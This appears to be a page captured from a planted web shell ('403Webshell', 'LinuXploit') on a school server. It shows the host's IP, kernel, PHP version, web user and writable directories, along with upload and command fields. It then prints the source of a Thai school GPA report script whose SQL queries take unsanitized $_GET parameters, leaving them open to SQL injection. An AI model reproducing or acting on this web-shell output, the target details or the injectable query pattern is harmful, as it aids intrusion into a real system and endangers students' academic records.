403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa//departy2.php
<?
require_once "head.php";
require_once "config/connectdb.php";
?>
<html>
<head>
<title>-:- ADMIN -:-</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#FFFFFF"  onLoad="javascript:document.getElementById('useradmin').focus();">
<table width="80%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td bgcolor="#003399">
<div align="center"><font color="#FFFFFF" size="+1"><strong>ระบบงานวิชาการ</font></strong></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
        
              </table>


              <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                <tr> 
                  <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                      <tr class="jobscss"> 
                        <td bgcolor="#FFFFFF"> <table width="100%" border="0" cellspacing="0" cellpadding="0">
                            <tr> 
                              <td bgcolor="#000000"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                                  <tr bgcolor="#006666"> 
                                    <td width="15" height="24"> <div align="center"><font color="#FFFFFF" size="2">#</font></div></td>
                                    <td width="100"> <div align="center"><font color="#FFFFFF" size="2">กลุ่มสาระ</font></div></td>
                                    <td width="40"><div align="center"><font color="#FFFFFF" size="2">0</font></div></td>
                                    <td width="40"><div align="center"><font color="#FFFFFF" size="2">1</font></div></td>
									 <td width="40"><div align="center"><font color="#FFFFFF" size="2">1.5</font></div></td>
                                    <td width="40"><div align="center"><font color="#FFFFFF" size="2">2</font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">2.5</font></div></td>

									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">3</font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">3.5</font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">4</font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">ร</font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">รวม</font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">gpa</font></div></td>
                                  </tr>
                                </table></td>
                            </tr>
                          </table>


			








                          <?
$idschool=$objResult["teachcode"];
$page = $_GET['page'];
$num = 1;
$select_type="select * from transcripts";
$query_select=mysql_query($select_type);
$num_rows=mysql_num_rows($query_select);

if($num_rows<1){
echo "<br><br><center><font color=#666666 face=tahoma size=2>ยังไม่มีการเพิ่มข้อมูลค่ะ</font></center>";
}else{
		$select="select * from transcripts
		
		";
		$q_ry = mysql_query($select);
	 	$num_rows=mysql_num_rows($q_ry);
  		$pagesize=100000;
		$rt=$num_rows%$pagesize;
		if($rt!=0)
			{
				$totalpage=floor($num_rows/$pagesize)+1;
			}
		else
			{
				$totalpage=floor($num_rows/$pagesize);
				$toppic_id=1;
			}
		if(empty($page))
			{
				$page=1;
			}
		mysql_free_result($q_ry);
		$goto=($page-1)*$pagesize;
$sql_select_mem="select * from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub left join klw on klw.Username=transcripts.IDstudent
where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' group by xContent  order by xContent limit $goto,$pagesize";
		$fect=mysql_query($sql_select_mem);
		if(!$fect)
		{
		("ติดต่อฐานข้อมูลไม่ได้".mysql_error());
		exit;
		}

	  $bgcount=0;
	while($rows=mysql_fetch_array($fect))
	{


$xContent =$rows['xContent'];
$xterm  =$rows['xterm'];
$xyy =$rows['xyy'];
$teach =$rows['teach'];
$cllass =$rows['cllass'];
	
	



?>

                          <table width="100%" border="0" cellspacing="0" cellpadding="0">
                            <tr> 
  <td bgcolor="#000000"><table width="100%" border="0" cellspacing="1" cellpadding="1">
  <tr bgcolor="#FFFFFF"> 
   <td width="15" height="24"> <div align="center"><font color="#990000" size="2"><? echo "$num"; ?></font></div></td>
   <td width="100"><font color="#003366" size="2">
   
   <a href=departy2.php?id=<? echo "$xyy"; ?>&te=<? echo "$xterm"; ?>>
   
   <? if($xContent == 1)
 {
   echo "ภาษาไทย";
 }
 else if($xContent == 2)
 {
   echo "คณิตศาสตร์";
 }
 else if($xContent == 3)
 {
   echo "วิทยาศาสตร์";
 }
 else if($xContent == 4)
 {
   echo "สังคม";
 }
 else if($xContent == 5)
 {
   echo "สุขศึกษา";
 }
  else  if($xContent == 6)
 {
   echo "ศิลปะ";
 }
 else  if($xContent == 7)
 {
   echo "การงานอาชีพ";
 }
  else  if($xContent == 8)
 {
   echo "ภาษาต่างประเทศ";
 }
 else  if($xContent == I)
 {
   echo "IS";
 }
 else
 {
   echo "กิจกรรม";
 }
?></a>



 <?
		$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad<1 and xContent='$xContent' and total!=-1 ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad0=$dcrd[0];


				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub  join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=1 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad1=$dcrd[0];


				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub  join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=1.5 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad15=$dcrd[0];


				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub  join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=2 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad2=$dcrd[0];



				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=2.5 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad25=$dcrd[0];

				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub  join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=3 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad3=$dcrd[0];



				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=3.5 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad35=$dcrd[0];



				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and grad=4 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$grad4=$dcrd[0];



				$crsql="SELECT count( IDstudent ) from transcripts left join mainsubject on transcripts.code=mainsubject.Codesub join klw on klw.Username=transcripts.IDstudent
			where  xContent<9 and cllass='$_GET[id]' and xyy='$_GET[xy]' and xterm='$_GET[te]' and total=-1 and xContent='$xContent' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$gradi=$dcrd[0];




				$total=$grad0+$grad1+$grad15+$grad2+$grad25+$grad3+$grad35+$grad4+$gradi;

                $gpa=($grad1*1+$grad15*1.5+$grad2*2+$grad25*2.5+$grad3*3+$grad35*3.5+$grad4*4)/$total;
	?>





   </font></td>
<td width="40"><font color="#003366" size="2"><? echo "$grad0"; ?></td>
<td width="40"><font color="#003366" size="2"><? echo "$grad1"; ?></font></td>
<td width="40"><font color="#003366" size="2"><? echo "$grad15"; ?></font></td>
<td width="40"><div align="center"> <? echo "$grad2"; ?></div></td>
<td width="40"><div align="center"> <? echo "$grad25"; ?></div></td>
<td width="40"><div align="center"><? echo "$grad3"; ?></div></td>
<td width="40"><div align="center"> <? echo "$grad35"; ?></div></td>
<td width="40"><div align="center"> <? echo "$grad4"; ?></div></td>
<td width="40"><div align="center"><? echo "$gradi"; ?></div></td>
<td width="40"><div align="center"> <? echo "$total"; ?></div></td>
<td width="40"><div align="center"><?echo number_format($gpa,2)?></div></td>
 </tr> </table></td>
 </tr> </table>
 







                          <?
$num = $num+1;
}
echo "<div align=center><br>
                    <font color=#999999 size=2><span class=cc> ";
	for($i=1;$i<$page;$i++)
	{
	echo"<a href='$PHP_SELF?page=$i'><font size=2 color='#000000' class=textborder>$i</font></a> ";
	}
	echo"<font size=2 color=#000000><b><font size=2 color='#FF00000' class=textborderok>$page</font></b></font> ";
	for($i=$page+1;$i<=$totalpage;$i++)
	{
	echo"<a href='$PHP_SELF?page=$i'><font size=2 color='#000000' class=textborder>$i</font></a> ";
	}
echo "</span></font> </div>";
}
?>

<table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                <tr> 
                  <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                      <tr class="jobscss"> 
                        <td bgcolor="#FFFFFF"> <table width="100%" border="0" cellspacing="0" cellpadding="0">
                            <tr> 
                              <td bgcolor="#000000"><table width="100%" border="0" cellspacing="1" cellpadding="1">
                                  <tr bgcolor="#006666"> 
                                    <td width="15" height="24"> <div align="center"><font color="#FFFFFF" size="2">#</font></div></td>
                                    <td width="100"> <div align="center"><font color="#FFFFFF" size="2">รวม</font></div></td>
                                    <td width="40"><div align="center"><font color="#FFFFFF" size="2"><? echo "$sum0"; ?></font></div></td>
                                    <td width="40"><div align="center"><font color="#FFFFFF" size="2"><? echo "$sum1"; ?></font></div></td>
									 <td width="40"><div align="center"><font color="#FFFFFF" size="2"><? echo "$sum15"; ?></font></div></td>
                                    <td width="40"><div align="center"><font color="#FFFFFF" size="2"><? echo "$sum2"; ?></font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2"><? echo "$sum25"; ?></font></div></td>

									<td width="40"> <div align="center"><font color="#FFFFFF" size="2"><? echo "$sum3"; ?></font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2"><? echo "$sum35"; ?></font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2"><? echo "$sum4"; ?></font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2"><? echo "$sumi"; ?></font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2"><? echo "$sumtotal"; ?></font></div></td>
									<td width="40"> <div align="center"><font color="#FFFFFF" size="2">gpa</font></div></td>
                                  </tr>
                                </table></td>
                            </tr>
                          </table>
                        </td>
                      </tr>
                      <tr class="jobscss"> 
                        <td height="19">&nbsp;</td>
                      </tr>
                      <tr> 
                        <td><div align="center"></div></td>
                      </tr>

                    </table></td>
                </tr>
              </table>
            </div></td>
        </tr>
         


      </table></td>
  </tr>
  <tr>
    <td><div align="center"><? echo "<font size=2 color=#ffffff>$footerweb</font>"; ?></div></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit